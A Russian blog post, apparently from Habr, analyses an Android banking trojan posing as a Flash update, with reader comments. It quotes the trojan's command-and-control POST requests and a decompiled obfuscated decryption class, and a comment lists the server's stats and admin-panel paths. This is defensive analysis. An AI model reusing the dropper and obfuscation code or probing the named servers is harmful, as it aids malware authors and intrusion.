Исследование андроид-вируса

    Всем привет. Недавно мне valdikss рассказал об андроид-вирусе, который может немало навредить пользователю, если он недостаточно внимателен. Мне захотелось узнать его внутренности, т.к. более или менее в последнее время занимаюсь ресерчем андроид приложений, но вирусы никогда еще не исследовал. До его рассмотрения, мне сразу бросилось в глаза название файла — android_update-1.apk. Первым делом делаю то, что делает каждый андроид ресерчер — распаковывает его dex2jar-ом (ну и параллельно можно посмотреть WinRAR-ом список файлов).

    dex2jar


    Когда я распаковал файл dex2jar-ом у меня получился красивый jar. Я обрадовался и кинулся смотреть его в JD-GUI.

    image

    Но, к сожалению, JD-GUI не смог полностью декомпильнуть получившийся файл, зато в самом конце файла были интересные строки.

    image

    Тут 2 варианта: либо вирус «китайского происхождения», либо ошибка кодировки. Думаю, пока рано делать выводы.

    WinRAR


    Как известно, APK — формат архивных исполняемых файлов-приложений для Android. Список файлов, которые входят в APK-архив, можно с легкостью просмотреть WinRAR-ом, что я и сделал.

    image

    На первый взгляд ничего особенного, но я знаю, что в папке assets разработчики хранят локальные файлы — html страницы, картинки, ну, в общем, локальные ресурсы, которые можно дергать из приложения.

    image

    Там я нашел файл classes.dex. Classes.dex — контейнер который, если мы распакуем, получим (если повезет) исходный код приложения под Android. По стандарту, файл classes.dex должен начинаться следующими байтами:

    465780a30333500

    Что в ASCII — dex.035.
    Но файл assets\classes.dex начинался так:

    117c4bfe7ef19880

    Явно зашифровано. Уже начинает проявляться логика работы зловреда. Когда мы скачиваем на смартфон и запускаем apk, он устанавливается, дергает из своих ресурсов файл classes.dex, расшифровывает, (по логике) получает какой то новый аpk, который и выполняет свою основную функцию.

    Чтобы полностью понять как все работает, надо посмотреть действие зловреда в динамике. На реальном устройстве запускать — самоубийство. В качестве эмулятора я взял Genymotion, его преимущества как эмулятора описывать не буду, все здесь написано. Также, вместе с Genymotion, я использую Android Studio (в дальнейшем AS) 1.2 (нет слов, чтобы описать его слаженную работу). Когда мы запускаем Android Studio и Genymotion, они связываются с помощью adb. В Android Studio удобно смотреть лог работы приложения, в данном случае зловреда.

    Установка apk привела к странной ошибке:

    image

    Я подумал: «все, зловред упал, вряд ли он запустится». Нажал на OK. Я частично знал, как он должен работать, так что перешел в Settings -> Security -> Device administrators и увидел, что он как раз заработал так, как надо, прописал уже себя в администраторах, заметите, он меня не спросил: «Ты согласен установить это приложение? Оно будет использовать такие-то права.», ну, как все приложения.

    Если мы попытаемся удалить его из администраторов (нажав на checkbox, он отмечен красным), то вылезет окно:



    После нажатия на кнопку деактивации нас ждет сюрприз — приложение невозможно удалить.



    Окейййй. Посмотрим сетевой трафик, вдруг он что-то куда-то шлет. В эмуляторе, на WiFi соединение, поставим прокси и перезагрузим эмулятор. Так я и думал — есть и сетевая активность

    POST http://abra-k0dabra.com/magic/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1
    Content-Length: 0
    Host: abra-k0dabra.com
    Connection: Keep-Alive

    И

    POST http://avtesterr.com/venussa/gate.php?a=1&b=000000000000000&c=Android&d=us&e=15555215554&f=0.1&g=4.1.1&prefix=pussy HTTP/1.1
    Content-Length: 0
    Host: avtesterr.com
    Connection: Keep-Alive

    тело в POST-запросе пустое.

    Откроем logcat в AS и посмотрим, вдруг это приложение что-то записывает в логах. Нам везет:

    04-09 13:18:04.703    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) ---
    04-09 13:18:04.719    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) ---
    04-09 13:18:04.719    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 0ms, rewrite 13ms
    04-09 13:18:04.739    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- BEGIN 'new.apk' (bootstrap=0) ---
    04-09 13:18:04.771    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DexOpt: --- END 'new.apk' (success) ---
    04-09 13:18:04.771    8122-8122/com.adobe.jaguar:jaguar_prot D/dalvikvm﹕ DEX prep '/data/data/com.adobe.jaguar/app_dex/new.apk': unzip in 1ms, rewrite 34ms
    04-09 13:19:34.487    3061-3061/com.adobe.jaguar D/﹕ HostConnection::get() New Host Connection established 0xb8420b50, tid 3061

    Вот что получается — зловред берет из ресурсов файл assets/classes.dex, расшифровывает, записывает в /data/data/com.adobe.jaguar/app_dex/new.apk.

    Так. Чтобы теперь узнать, каков его основной фунционал, нам надо поймать файл new.apk. Устанавливаем total commander на андроид и переходим в /data/data/com.adobe.jaguar/app_dex/. Папка оказалось пустой, после запуска new.apk файл удаляется. Возник вопрос: как получить его? Сначала подумывал, не написать ли мне приложение под андроид, которое в цикле следит за папкой /data/data/com.adobe.jaguar/app_dex/ и когда зловред снова создаст этот файл, мое приложение скопирует его, и я наконец узнаю что, оно делает на самом деле. Хорошо, что я в некоторых вопросах ленивый. Немного подумав, решил поэкспериментировать над правами папки /data/data/com.adobe.jaguar/app_dex/, и тут тоже повезло — он создал файл new.apk и упал.

    Копируем new.apk из андроид, распаковываем dex2jar-ом и декомпилируем с помощью JD-GUI.



    Опять иероглифы… Я решил открыть получившийся файл luyten-ом, мало ли, вдруг JD-GUI не может что-то правильно декомпильнуть.

    .
    Да, я был прав, это не иероглифы, а зашифрованный текст, нашел функцию которая занимается расшифровкой, но из всего apk только этот класс был обфусцирован, luyten тоже упал на нем. Есть еще один декомпилер — DJ Java Decompiler, у него туго с графикой, поэтому я его использую только для просмотра отдельных классов, а не всего проекта. Он, как бы, смог декомпильнуть, но, к сожалению, я не смог понять, как именно идет расшифровка.

    Класс который отвечает за расшифровку (буду рад если взгляните на код, с первого взгляда AES, но не факт):

    Класс расшифровки
    // Decompiled by DJ v3.12.12.96 Copyright 2011 Atanas Neshkov  Date: 09.04.2015 17:11:59
    // Home Page: http://members.fortunecity.com/neshkov/dj.html  http://www.neshkov.com/dj.html - Check often for new version!
    // Decompiler options: packimports(3) 
    
    package com.adobe.cfg;
    
    import android.content.Context;
    import android.content.SharedPreferences;
    import java.lang.reflect.Method;
    
    public class h
    {
    
        private static final int a(int i, int j)
        {
            int _tmp = j + i >> 24;
            return i >>> j | i << -j;
        }
    
        private static final int a(byte abyte0[], int i)
        {
            int j;
            byte byte0;
            j = abyte0[14] << 16;
            byte0 = 0;
    _L6:
            byte byte1 = 0;
            if(byte0 != 0) goto _L2; else goto _L1
    _L1:
            int l;
            byte0 = 3;
            l = i & 0xff;
            int i1;
            byte byte3;
            i1 = 0xff & abyte0[l] | (0xff & abyte0[0xff & i >> 8]) << 8 | (0xff & abyte0[0xff & i >> 16]) << 16;
            byte3 = abyte0[0xff & i >> 24];
            j = i1 | byte3 << 24;
    _L4:
            return j;
            Exception exception;
            exception;
    _L2:
            if(byte1 != 0) goto _L4; else goto _L3
    _L3:
            int k;
            byte1 = 2;
            k = i & 0x7f;
            byte byte2 = abyte0[k];
            return byte2 >> 8;
            Exception exception1;
            exception1;
            if(true) goto _L6; else goto _L5
    _L5:
        }
    
        static final String a(String s)
        {
            int ai1[];
            int ai2[];
            int ai3[];
            int ai4[];
            int ai5[];
            byte abyte0[];
            char ac[];
            int j1;
            int k1;
            int l1;
            int i2;
            boolean flag;
            if(a == null)
                a();
            Object aobj[] = (Object[])(Object[])((Method)a[8]).invoke(((Method)a[7]).invoke(null, null), null);
            StringBuilder stringbuilder = new StringBuilder();
            stringbuilder.append(((Method)a[10]).invoke(aobj[((Integer)a[12]).intValue()], null));
            int i = stringbuilder.append(((Method)a[11]).invoke(aobj[((Integer)a[12]).intValue()], null)).toString().hashCode();
            int ai[] = (int[])(int[])a[6];
            int j = i ^ ai[0];
            int k = i ^ ai[1];
            int l = i ^ ai[2];
            int i1 = i ^ ai[3];
            ai1 = (int[])(int[])a[5];
            ai2 = (int[])(int[])a[1];
            ai3 = (int[])(int[])a[2];
            ai4 = (int[])(int[])a[3];
            ai5 = (int[])(int[])a[4];
            abyte0 = (byte[])(byte[])a[0];
            ac = (char[])(char[])((Method)a[9]).invoke(s, null);
            j1 = l;
            k1 = k;
            l1 = j;
            i2 = i1;
            flag = false;
    _L16:
            if(flag) goto _L2; else goto _L1
    _L1:
            int j2 = ac.length;
            int k2 = 0;
    _L17:
            if(k2 >= j2) goto _L2; else goto _L3
    _L3:
            if(k2 % 8 != 0)
                break MISSING_BLOCK_LABEL_1336;
            int l2;
            int i3;
            int j3;
            int k3;
            l2 = l1 ^ ai1[0];
            i3 = k1 ^ ai1[1];
            j3 = j1 ^ ai1[2];
            k3 = i2 ^ ai1[3];
            int l3 = 4;
    _L5:
            if(l3 >= 36)
                break; /* Loop/switch isn't completed */
            int i4;
            int j4;
            int k4;
            int l4;
            i4 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3];
            j4 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1];
            k4 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2];
            l4 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3];
            int i5 = l3 + 4;
            l2 = ai2[i4 & 0xff] ^ ai3[0xff & j4 >> 8] ^ ai4[0xff & k4 >> 16] ^ ai5[l4 >>> 24] ^ ai1[i5];
            i3 = ai2[j4 & 0xff] ^ ai3[0xff & k4 >> 8] ^ ai4[0xff & l4 >> 16] ^ ai5[i4 >>> 24] ^ ai1[i5 + 1];
            j3 = ai2[k4 & 0xff] ^ ai3[0xff & l4 >> 8] ^ ai4[0xff & i4 >> 16] ^ ai5[j4 >>> 24] ^ ai1[i5 + 2];
            k3 = ai2[l4 & 0xff] ^ ai3[0xff & i4 >> 8] ^ ai4[0xff & j4 >> 16] ^ ai5[k4 >>> 24] ^ ai1[i5 + 3];
            l3 = i5 + 4;
            if(true) goto _L5; else goto _L4
    _L4:
            int j5;
            int k5;
            int l5;
            int i6;
            j5 = ai2[0xff & l2] ^ ai3[0xff & i3 >> 8] ^ ai4[0xff & j3 >> 16] ^ ai5[k3 >>> 24] ^ ai1[l3];
            k5 = ai2[i3 & 0xff] ^ ai3[0xff & j3 >> 8] ^ ai4[0xff & k3 >> 16] ^ ai5[l2 >>> 24] ^ ai1[l3 + 1];
            l5 = ai2[j3 & 0xff] ^ ai3[0xff & k3 >> 8] ^ ai4[0xff & l2 >> 16] ^ ai5[i3 >>> 24] ^ ai1[l3 + 2];
            i6 = ai2[k3 & 0xff] ^ ai3[0xff & l2 >> 8] ^ ai4[0xff & i3 >> 16] ^ ai5[j3 >>> 24] ^ ai1[l3 + 3];
            int j6 = l3 + 4;
            int k6;
            int l6;
            l1 = 0xff & abyte0[j5 & 0xff] ^ (0xff & abyte0[0xff & k5 >> 8]) << 8 ^ (0xff & abyte0[0xff & l5 >> 16]) << 16 ^ abyte0[i6 >>> 24] << 24 ^ ai1[j6 + 0];
            k1 = 0xff & abyte0[k5 & 0xff] ^ (0xff & abyte0[0xff & l5 >> 8]) << 8 ^ (0xff & abyte0[0xff & i6 >> 16]) << 16 ^ abyte0[j5 >>> 24] << 24 ^ ai1[j6 + 1];
            j1 = 0xff & abyte0[l5 & 0xff] ^ (0xff & abyte0[0xff & i6 >> 8]) << 8 ^ (0xff & abyte0[0xff & j5 >> 16]) << 16 ^ abyte0[k5 >>> 24] << 24 ^ ai1[j6 + 2];
            k6 = 0xff & abyte0[i6 & 0xff] ^ (0xff & abyte0[0xff & j5 >> 8]) << 8 ^ (0xff & abyte0[0xff & k5 >> 16]) << 16 ^ abyte0[l5 >>> 24] << 24;
            l6 = ai1[j6 + 3];
            i2 = l6 ^ k6;
            byte byte0 = 0;
    _L18:
            if(byte0 != 0) goto _L7; else goto _L6
    _L6:
            byte0 = 3;
            k2 % 8;
            JVM INSTR tableswitch 0 7: default 1566
        //                   0 1400
        //                   1 1420
        //                   2 1437
        //                   3 1457
        //                   4 1474
        //                   5 1494
        //                   6 1511
        //                   7 1531;
               goto _L7 _L8 _L9 _L10 _L11 _L12 _L13 _L14 _L15
    _L8:
            ac[k2] = (char)(l1 >> 16 ^ ac[k2]);
              goto _L7
    _L9:
            ac[k2] = (char)(l1 ^ ac[k2]);
              goto _L7
    _L10:
            ac[k2] = (char)(k1 >> 16 ^ ac[k2]);
              goto _L7
    _L11:
            ac[k2] = (char)(k1 ^ ac[k2]);
              goto _L7
    _L12:
            ac[k2] = (char)(j1 >> 16 ^ ac[k2]);
              goto _L7
    _L13:
            ac[k2] = (char)(j1 ^ ac[k2]);
              goto _L7
    _L14:
            ac[k2] = (char)(i2 >> 16 ^ ac[k2]);
              goto _L7
    _L15:
            ac[k2] = (char)(i2 ^ ac[k2]);
              goto _L7
    _L2:
            return new String(ac);
            Throwable throwable;
            throwable;
            flag = true;
              goto _L16
    _L7:
            k2++;
              goto _L17
            Throwable throwable1;
            throwable1;
              goto _L18
        }
    
        public static String a(String s, String s1, Context context)
        {
            return context.getSharedPreferences(s, 4).getString(s1, null);
        }
    
        private static final void a()
        {
            int ai[];
            byte abyte0[];
            int ai1[];
            int ai2[];
            int ai3[];
            int ai4[];
            int ai5[];
            byte byte0;
            ai = new int[256];
            abyte0 = new byte[256];
            ai1 = new int[256];
            ai2 = new int[256];
            ai3 = new int[256];
            ai4 = new int[256];
            ai5 = new int[30];
            int i = 0;
            int j = 1;
            for(; i < 256; i++)
            {
                ai[i] = j;
                j ^= j << 1 ^ 283 * (j >>> 7);
            }
    
            abyte0[0] = 99;
            byte0 = 0;
    _L18:
            if(byte0 != 0) goto _L2; else goto _L1
    _L1:
            int j3 = 0;
    _L4:
            int i5;
            if(j3 >= 255)
                break; /* Loop/switch isn't completed */
            i5 = 255 - j3;
            int j5 = ai[i5];
            int k5 = j5 | j5 << 8;
            abyte0[ai[j3]] = (byte)(0x63 ^ (k5 ^ (k5 >> 4 ^ k5 >> 5 ^ k5 >> 6 ^ k5 >> 7)));
            j3++;
            if(true) goto _L4; else goto _L3
    _L5:
            int k3;
            if(k3 >= 256)
                break MISSING_BLOCK_LABEL_6536;
            int l3 = 0xff & abyte0[k3];
            int j4;
            int i4 = l3 << 1 ^ 283 * (l3 >>> 7);
            j4 = -1 & (i4 ^ ((l3 ^ i4) << 24 ^ l3 << 16 ^ l3 << 8));
            ai1[k3] = j4;
            ai2[k3] = j4 << 8 | j4 >>> -8;
            ai3[k3] = j4 << 16 | j4 >>> -16;
            ai4[k3] = j4 << 24 | j4 >>> -24;
            k3++;
              goto _L5
    _L7:
            int l4;
            if(l4 >= 30) goto _L2; else goto _L6
    _L6:
            int k4;
            ai5[l4] = k4;
            k4 = k4 << 1 ^ 283 * (k4 >>> 7);
            l4++;
              goto _L7
    _L2:
            byte abyte1[];
            byte abyte2[];
            byte abyte3[];
            int k;
            abyte1 = new byte[16];
            abyte2 = (new byte[] {
                -43, 29, -111, 88, -115, 77, 34, 28, -101, 103, 
                85, 104, 109, 124, -104, -72, -18, 125, -60, 43, 
                -49, 101, 37, 15, 126, 29, -14, -89, -22, 99, 
                -76, 50, 45, 36, 71, 52, 54, 63, -47, -110, 
                -30, 83, -76, 80, -105, -53, 53, 96, 9, -93, 
                10, -54, -64, -96, 123, 113, -112, 25, -68, -108, 
                13, -24, -115, 77, 28, 63, 4, -98, 21, -122, 
                -3, 60, 88, -90, -26, -46, -85, 55, -118, -58, 
                16, -67, 37, 71, 55, -77, 82, -15, 6, 102, 
                -78, 102, 66, -74, -33, 88, -114, -123, 56, 47, 
                -18, 104, 26, 17, -97, -16, -4, 8, 108, -95, 
                -103, 46, 79, -81, -35, -57, 18, 15, 81, -17, 
                41, -24, 16, 35, 66, -109, 6, 15, 109, 41, 
                -19, 122, -59, -34, -38, -104, 20, 51, -69, -58, 
                119, -59, 23, 12, 35, 6, -76, 51, -41, -35, 
                99, 69, 117, -91, -92, 104, -80, -42, -83, -5, 
                -106, -116, 118, 102, 125, 104, 115, 54, 24, -109, 
                121, 1, -35, -4, -115, -48, 15, -10, -6, -34, 
                108, -70, 17, 97, -35, -111, 58, 101, 30, 101, 
                120, -32, 22, -46, -86, -19, -102, 85, 114, -124, 
                -80, 14, -54, -67, -46, -83, 2, -120, 93, 22, 
                125, 83, -94, 64, 48, -91, -35, 39, 124, -69, 
                -17, 114, -72, -100, -113, -28, 33, -21, -66, 71, 
                76, 84, 0, 51, -84, -20, 32, -75, 76, -86, 
                -96, 9, 42, -56, -74, -99, -42, -16, 19, -123, 
                -44, 85, 1, 9, 117, -43
            });
            abyte3 = (new byte[] {
                -123, 111, 49, -125, 114, -78, -100, 115, -64, 12, 
                -13, 92, -112, 46, -70, 9, 47, 2, -102, 112, 
                -70, -71, -56, 94, -21, 83, -102, 49, -120, 75, 
                53, -38, -65, -14, 78, 111, -60, 46, 108, 77, 
                -21, 119, 102, 48, 40, -68, 16, -126, 96, 28, 
                84, 95, -46, -84, -4, -110, -35, -124, -14, 93, 
                -114, -73, 43, 112, -3, 102, -127, -47, 15, -90, 
                100, -11, 26, 102, -119, -82, -50, -16, -53, 79, 
                27, -30, 73, 12, 28, -72, -46, -27, 68, -59, 
                -52, -66, -54, 42, 64, -13, 79, -86, 91, -61, 
                -52, -51, 57, 121, 67, -70, -112, -74, -87, 35, 
                67, 33, -92, 58, 2, -37, 127, 11, 49, 19, 
                -59, 33, -106, 83, 45, -52, 39, 60, -42, -80, 
                -89, -47, -68, -124, 90, -74, -23, 81, 68, -112, 
                -41, -20, -55, -38, -16, 48, -33, -82, 109, -81, 
                78, 52, -112, -121, -44, 23, 107, 37, -65, 22, 
                22, -4, -37, -63, -124, -41, 45, 96, -93, -104, 
                81, 79, -11, -72, 78, -55, 110, -93, 15, 72, 
                60, -27, -84, 126, 114, 68, 102, -55, 38, -98, 
                -87, 45, 36, 75, -15, -55, 7, 100, 114, -39, 
                -1, 119, -87, -102, -79, 76, 93, -56, 9, -100, 
                -33, -65, -55, 70, 43, -125, 24, 124, -73, -46, 
                92, -121, 101, 122, -41, -11, 109, -52, 63, 65, 
                -65, -87, -107, 112, -74, -63, 70, -78, -37, 0, 
                85, -7, -82, -92, 34, -24, -75, -18, -44, 38, 
                68, 49, 76, 50, 123, -105
            });
            k = 0;
    _L21:
            if(k != 0) goto _L9; else goto _L8
    _L8:
            k++;
            abyte1[0] = abyte2[0xff & abyte3[138]];
            abyte1[1] = abyte2[0xff & abyte3[115]];
            abyte1[2] = abyte2[0xff & abyte3[203]];
            abyte1[3] = abyte2[0xff & abyte3[169]];
            abyte1[4] = abyte2[0xff & abyte3[225]];
            abyte1[5] = abyte2[0xff & abyte3[93]];
            abyte1[6] = abyte2[0xff & abyte3[154]];
            abyte1[7] = abyte2[0xff & abyte3[214]];
            abyte1[8] = abyte2[0xff & abyte3[205]];
            abyte1[9] = abyte2[0xff & abyte3[191]];
            abyte1[10] = abyte2[0xff & abyte3[43]];
            abyte1[11] = abyte2[0xff & abyte3[149]];
            abyte1[12] = abyte2[0xff & abyte3[101]];
            abyte1[13] = abyte2[0xff & abyte3[245]];
            abyte1[14] = abyte2[0xff & abyte3[221]];
            abyte1[15] = abyte2[0xff & abyte3[57]];
    _L16:
            int ai6[];
            int l;
            ai6 = new int[44];
            l = 0;
    _L19:
            if(l != 0) goto _L11; else goto _L10
    _L10:
            int j1;
            int k1;
            int l1;
            j1 = l + 3;
            k1 = 0;
            l1 = 0;
    _L15:
            int i2 = 0;
    _L20:
            if(i2 != 0) goto _L13; else goto _L12
    _L12:
            i2 += 3;
            if(l1 >= 16) goto _L13; else goto _L14
    _L14:
            int i3 = 3 & k1 + 4 * (k1 >> 2);
            ai6[i3] = 0xff & abyte1[l1] | (0xff & abyte1[l1 + 1]) << 8 | (0xff & abyte1[l1 + 2]) << 16 | abyte1[l1 + 3] << 24;
            l1 += 4;
            k1++;
              goto _L15
    _L9:
            abyte1[8] = abyte2[0xff & abyte3[205]];
            abyte1[9] = abyte2[0xff & abyte3[191]];
            abyte1[10] = abyte2[0xff & abyte3[43]];
            abyte1[11] = abyte2[0xff & abyte3[149]];
            abyte1[12] = abyte2[0xff & abyte3[101]];
            abyte1[13] = abyte2[0xff & abyte3[245]];
            abyte1[14] = abyte2[0xff & abyte3[221]];
            abyte1[15] = abyte2[0xff & abyte3[57]];
              goto _L16
            Throwable throwable;
            throwable;
            abyte1[8] = abyte2[0xff & abyte3[205]];
            abyte1[9] = abyte2[0xff & abyte3[191]];
            abyte1[10] = abyte2[0xff & abyte3[43]];
            abyte1[11] = abyte2[0xff & abyte3[149]];
            abyte1[12] = abyte2[0xff & abyte3[101]];
            abyte1[13] = abyte2[0xff & abyte3[245]];
            abyte1[14] = abyte2[0xff & abyte3[221]];
            abyte1[15] = abyte2[0xff & abyte3[57]];
            throw throwable;
    _L13:
            int j2 = 4;
    _L17:
            int k2;
            if(j2 >= 44)
                break; /* Loop/switch isn't completed */
            k2 = 4 * (j2 - 1 >> 2) + (3 & j2 - 1);
            int l2 = ai6[k2];
            if(j2 % 4 != 0)
                break MISSING_BLOCK_LABEL_4507;
            l2 = a(abyte0, a(l2, 8)) ^ ai5[-1 + j2 / 4];
            ai6[4 * (j2 >> 2) + (j2 & 3)] = l2 ^ ai6[4 * (j2 - 4 >> 2) + (3 & j2 - 4)];
            j2++;
            if(true) goto _L17; else goto _L11
    _L11:
            int ai7[] = {
                0xe0d51d94, 0x879e5437, 0x27b86eae, 0x222ba2fb
            };
            Object aobj[] = new Object[13];
            aobj[0] = abyte0;
            aobj[1] = ai1;
            aobj[2] = ai2;
            aobj[3] = ai3;
            aobj[4] = ai4;
            aobj[5] = ai6;
            aobj[6] = ai7;
            char ac[] = {
                '?', '~', '\007', '\271', '\uFFBB', '\271', '\203', '\212', '\002', '\225', 
                '\251', '\320', '\337', '\341', '\uFFF9', '\034', 'Q', '\362', '6', '\235', 
                '4', '\323', '\231', 'c', '\346', '\217', 'W', '\b', 'N', '\312', 
                '\031', '\246', '\200', '\230', '\250', '\227', '\241', '\223', 'C', '\uFFF3', 
                'E', '\270', '\036', '\261', '\r', ',', 'c', '\314', 'j', '\021', 
                'q', '\uFFF8', '\023', '\024', '\355', '\332', '\uFFFE', '\200', '0', '\003', 
                'P', 'P', '\uFFEE', '\277', ']', '\261', 'v', '\uFFFF', '\216', '\uFFF0', 
                '^', '\262', '\271', '\uFFD4', 'R', '3', '\031', '\236', '\uFFB8', '\031', 
                '\204', '\036', '\210', '\262', '\213', '%', '\263', 'T', 'k', '\253', 
                '\036', '\313', '\257', '\033', 'M', '\314', '\uFFF5', '\uFFEA', '\254', 'r', 
                'Z', '\311', '\215', '\204', '\uFFED', 'Q', 'i', 'm', '\323', '\006', 
                '\r', '{', '\264', '#', 'E', '6', 'v', ']', '\262', '\\', 
                '\216', 'I', '~', '\207', '\264', '\002', 'o', 's', '\233', '\230', 
                '`', '\250', '\030', 'W', 'M', '\f', 'y', '\240', '\013', '8', 
                '\346', '5', '|', '~', '\227', 'o', '\031', '\246', '>', 'B', 
                '\327', '\265', '\332', '\027', '\027', '\321', '#', 'J', '\uFFDB', 'n', 
                '\017', '\uFFFF', '\244', '\312', '\336', '\324', '\351', '\237', '\203', '\uFFC1', 
                '\357', 'n', '\013', 'h', '\uFFF6', '2', 'p', 'd', '^', 'P', 
                '\333', '#', 'u', '\217', 'L', '\004', 'h', '\247', '\223', '\316', 
                '\344', 'D', 'i', '\027', '\uFFFC', '6', '\uFFDB', '\241', '\334', '\uFFE5', 
                '&', 'o', '\uFFF8', ')', '3', '\033', 'i', '\uFFB6', '\260', '\212', 
                '\357', '\274', '\020', '\247', '\230', '\006', 'P', '\217', '\277', '*', 
                'S', '\327'
            };
            for(int i1 = 0; i1 < ac.length; i1++)
                ac[i1] = (char)(ac[i1] - abyte2[i1 % abyte2.length]);
    
            aobj[7] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 16, 13), null);
            aobj[8] = Class.forName(String.valueOf(ac, 0, 16)).getMethod(String.valueOf(ac, 29, 13), null);
            aobj[9] = Class.forName(String.valueOf(ac, 42, 16)).getMethod(String.valueOf(ac, 58, 11), null);
            aobj[10] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 96, 12), null);
            aobj[11] = Class.forName(String.valueOf(ac, 69, 27)).getMethod(String.valueOf(ac, 108, 13), null);
            Class class1 = Class.forName(String.valueOf(ac, 121, 27));
            String s = String.valueOf(ac, 148, 3);
            Class aclass[] = new Class[1];
            aclass[0] = Class.forName(String.valueOf(ac, 42, 16));
            Method method = class1.getMethod(s, aclass);
            Object aobj1[] = new Object[1];
            aobj1[0] = String.valueOf(ac, 151, 25);
            String s1 = (String)method.invoke(null, aobj1);
            byte byte1;
            Exception exception;
            Exception exception1;
            Exception exception2;
            Exception exception3;
            if(s1 != null && s1.hashCode() == 0x145eec8c && android.os.Build.VERSION.SDK_INT < 21)
                byte1 = 4;
            else
                byte1 = 5;
            aobj[12] = Integer.valueOf(byte1);
            a = aobj;
            return;
            exception3;
            byte0 = 2;
              goto _L18
            exception;
            l = j1;
              goto _L19
            exception1;
              goto _L20
            exception2;
              goto _L21
    _L3:
            k3 = 0;
              goto _L5
            k4 = 1;
            l4 = 0;
              goto _L7
        }
    
        public static void a(String s, String s1, String s2, Context context)
        {
            android.content.SharedPreferences.Editor editor = context.getSharedPreferences(s, 4).edit();
            editor.putString(s1, s2);
            editor.commit();
        }
    
        private static transient Object a[];
    }
    
    


    Нам уже из сетевой активности известно, что по сети передаются POST-запросы, так что этот код отправит POST-запрос:

    final HttpURLConnection httpURLConnection = (HttpURLConnection)new URL(s).openConnection();
                    httpURLConnection.setDoInput(true);
                    httpURLConnection.setDoOutput(true);
                    httpURLConnection.setUseCaches(false);
                    httpURLConnection.setRequestMethod(h.a("\ub957\uf4ce\ubf7b\ueadc"));
                    httpURLConnection.setConnectTimeout(60000);
                    
    

    "\ub957\uf4ce\ubf7b\ueadc" — «POST».

    В некоторых участках кода я увидел функции, в именах которых есть слово из 4-х букв — «bank».

    Теперь у нас есть полная картина, этот зловред — банковский троян, который маскируется под андроид апдейт для Adobe Flash Player. После установки создает сервисы com.adobe.jaguar:jaguar_bf и com.adobe.jaguar:jaguar_obs. Сканируют файловую систему (в теле new.apk нашел код) на предмет установленных программ банк-клиентов, если находит их, то читает файлы из папки shared_prefs и отправляет злоумышленнику.

    Мораль:
    1. Не устанавливайте root и банк-клиент на одном устройстве
    2. Не доверяйте приложениям, скачанными из сторонних магазинов

    Спасибо за внимание.
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 71

      0
      Тут 2 варианта: либо вирус «китайского происхождения», либо ошибка кодировки. Думаю, пока рано делать выводы.

      Возможно, что это такая обфускация.
      Так же рекомендую параллельно использовать Fern Flower.
        0
        Возможно, т.к. полностью не получилось восстановить код, не могу с уверенностью что то сказать, можно посмотреть «Класс расшифровки» сверху.
        –1
        Что-то слишком грустно звучит «Не устанавливайте root и банк-клиент на одно устройство»

        Как я понимаю, если зловред объявился, есть возможность этот момент контролировать через «Разрешения суперпользователя»?
        Так-то устанавливаемые приложения под контролем, но мало ли
          0
          его не удалить через стандартный менеджер приложений андроида, он выключает кнопки остановить и удалить. И не просит рут прав, просто падает когда кликаем на .apk. После он уже свое делает.
            0
            Вы меня немного не так поняли =)
            Я про общую картину: практически любой зловред, использующий рут, может быть обнаружен стандартными средствами?
              0
              а что вы имеете ввиду под стандартными методами? )
                0
                Под стандартными я имел ввиду приложение Superuser, стоящее практически на всех рутованных устройствах, в котором можно контролировать все приложения, требующие root-права
                  0
                  он был, но например 4.1.1 на телефоне он спросил хочешь дать права, на планшете он байпаснул как то
                    0
                    То есть, на телефоне еще была возможность предотвратить «вторжение» на этом уровне?
                    Насчет планшета: может есть различия в настройках безопасности?

                    Судя по всему, не так всё и плохо может быть с рутованными устройствами
                      +3
                      Извиняюсь за назойливость, просто не могу понять такого ажиотажа вокруг безопасности устройств с root-ом.
                      Ведь можно обеспечить должный уровень безопасности, если правильно им пользоваться, а не направо и налево раздавать права и разрешения
                        –3
                        минимальное — использовать хоть какой то нормальный антивирус для мобилы и таба. Я пока что не знаю почему и как он обходил, думаю в будущем разберемся, напишу новую статью. Не надо извинений ) рад ответить на вопросы )
                          +2
                          Насчет антивируса, по-моему, тоже спорный момент =)
                          А так, думаете, что контроль root-разрешений и отключение установки приложений из неизвестных источников не могут обеспечить должный уровень безопасности?
                          У меня, кстати, на выдачу root прав пароль стоит, чтобы не выдать их случайным нажатием на всплывшее окно, а в обычном состоянии root отключен
                            +1
                            согласен, тоже вариант =)
                          • UFO just landed and posted this here
                    0
                    теоретически нет. Примерный кейс:
                    Получаем рут права.
                    Добавляем в систему свой бинарник для рута.
                    Удаляем данные у SuperSu (или аналога).
                      0
                      Просто, для примера, начиная с 9-й версии CyanogenMod появился пункт в настройках, позволяющий отключать root как для приложений, так и для ADB.
                      Вот и задаюсь вопросом, насколько это может быть безопасно против зловредов
                +12
                Пробежал http сканнером, нашел стату и админку:

                abra-k0dabra.com/magic/stat.php
                abra-k0dabra.com/magic/control

                Далее погуглил по строке KeyHttpGate (http://avtesterr.com/venussa/gate.php содержит строку «KeyHttpGate abra-k0dabra.com/magic/gate.php» — видимо это механизм смены гейта),
                нашел док.
